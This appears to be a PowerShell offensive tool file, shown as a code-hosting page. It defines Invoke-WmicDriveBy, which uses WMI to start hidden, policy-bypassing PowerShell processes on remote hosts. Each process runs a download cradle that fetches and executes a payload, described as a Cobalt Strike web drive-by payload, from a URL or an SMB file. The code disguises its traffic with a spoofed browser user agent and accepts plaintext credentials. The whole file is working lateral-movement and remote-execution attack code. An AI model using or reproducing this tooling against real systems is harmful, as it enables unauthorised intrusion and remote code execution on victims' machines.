Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
194 lines (152 sloc) 6.72 KB
function Invoke-WorkerWmicDriveBy{
param(
#Parameter assignment
[Parameter(Mandatory = $True, Position = 0)]
[string]$URL,
[Parameter(Mandatory = $False, Position = 1)]
[string]$User,
[Parameter(Mandatory = $False, Position = 2)]
[string]$Pass,
[Parameter(Mandatory = $False, Position = 3)]
[string[]]$TARGETS = "."
)
if($User -and $Pass){
#Did the user specify credentials?
Write-Verbose "Set to run with Username: $User and Password: $Pass"
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
#Set the proxy and user agent to blend in
$powershellcmd = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$URL'))"
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd"
Write-Verbose "Executing `"$cmd`" on `"$Target`""
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -Credential $cred -ComputerName $TARGETS
}
else{
Write-Verbose "Username and/or password not specified. Running in current user context."
#Set the proxy and user agent to blend in
$powershellcmd = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$URL'))"
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd"
Write-Verbose "Executing `"$cmd`" on `"$Target`""
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -ComputerName $TARGETS
}
}
function Invoke-WmicDriveBySMB{
param(
#parameter assignment
[Parameter(Mandatory = $True, Position = 0)]
[string]$FilePath,
[Parameter(Mandatory = $False, Position = 1)]
[string]$User,
[Parameter(Mandatory = $False, Position = 2)]
[string]$Pass,
[Parameter(Mandatory = $True, Position = 3)]
[string[]]$TARGETS
)
if($User -and $Pass){
Write-Verbose "Set to run with $User:$Pass"
$password = ConvertTo-SecureString $Pass -asplaintext -force
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password
$FilePath = $FilePath.replace(':','$')
$FilePath = $FilePath.replace('\','/')
$powershellcmd = "`$wc = New-Object Net.Webclient; IEX `$wc.DownloadString('file:$FilePath')"
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd"
Write-Verbose "Executing `"$cmd`" on `"$Target`""
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -Credential $cred -ComputerName $TARGETS
}
else{
Write-Verbose "Username and/or password not specified. Running in current user context."
$FilePath = $FilePath.replace(':','$')
$FilePath = $FilePath.replace('\','/')
$powershellcmd = "`$wc = New-Object Net.Webclient; IEX `$wc.DownloadString('file:$FilePath')"
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd"
Write-Verbose "Executing `"$cmd`" on `"$Target`""
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -ComputerName $TARGETS
}
}
function Invoke-WmicDriveBy{
<#
.SYNOPSIS
This script uses wmic to open a powershell process and use the IEX download cradle to execute a powershell web drive by payload.
.DESCRIPTION
This function calls wmic process call create to execute the powershell command for the IEX download cradle. The cradle is used to execute a payload delivered via
the powershell web drive by exploitation module in cobaltstrike. Wmic runs with the permissions of the current user by default.
.EXAMPLE
> Invoke-WmicDriveBy -URL http://127.0.0.1/update -User test\jonny -Pass "Kg^*dksLkD$" -TARGET 192.168.1.10
Run the script with user credentials for a specific host
.EXAMPLE
> Invoke-WmicDriveBy -URL http://192.168.1.101/a
Run the script against the localhost with the current user credentials
.EXAMPLE
> Invoke-WmicDriveBy -UNCPath "\\192.168.1.110\C$\Windows\Temp\smb" -TARGETS 192.168.1.77
Use a raw file containing powershell commands for web delivery in the current user context
.PARAMETER User
Specify a username Default is the current user context.
.PARAMETER Pass
Specify the password for the appropriate user
.PARAMETER URL
URL for the powershell web delivery. Required.
.PARAMETER UNCPath
The full UNC path to the raw file containing a powershell script.
.PARAMETER TARGETS
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost.
#>
[CmdletBinding()]
param(
#Parameter assignment
[Parameter(ParameterSetName = "URL", Mandatory = $True, Position = 0)]
[string]$URL,
[Parameter(ParameterSetName = "File", Mandatory = $True, Position = 0)]
[string]$UNCPath,
[Parameter(Mandatory = $False, Position = 1)]
[string]$User,
[Parameter(Mandatory = $False, Position = 2)]
[string]$Pass,
[Parameter(ValueFromPipeline=$True,Mandatory = $False, Position = 3)]
[string[]]$TARGETS = "."
)
Begin
{
#Check if the TARGETS parameter was passed through the pipeline. Set the usedParameter variable to true.
$usedParameter = $False
if($PSBoundParameters.ContainsKey('TARGETS'))
{
$usedParameter = $True
}
}
Process
{
#If targets is passed via the parameter, complete function for each host.
if($usedParameter)
{
#If the URL parameter set is used, call the Invoke-WorkerWmicDriveBy function
if($PsCmdlet.ParameterSetName -eq "URL")
{
Foreach($computer in $TARGETS)
{
Invoke-WorkerWmicDriveBy "$URL" -User "$User" -Pass "$Pass" -TARGETS "$TARGETS"
}
}
#Otherwise use the Invoke-WmicDriveBySMB function
else
{
Foreach($computer in $TARGETS)
{
Invoke-WmicDriveBySMB "$FilePath" -User "$User" -Pass "$Pass" -TARGETS "$TARGETS"
}
}
}
#Pass the value from the pipeline to the target parameter if the usedParameter variable is false.
else
{
if($PsCmdlet.ParameterSetName -eq "URL")
{
Invoke-WorkerWmicDriveBy "$URL" -User "$User" -Pass "$Pass" -TARGETS $_
}
else
{
Invoke-WmicDriveBySMB "$FilePath" -User "$User" -Pass "$Pass" -TARGETS $_
}
}
}
end{}
}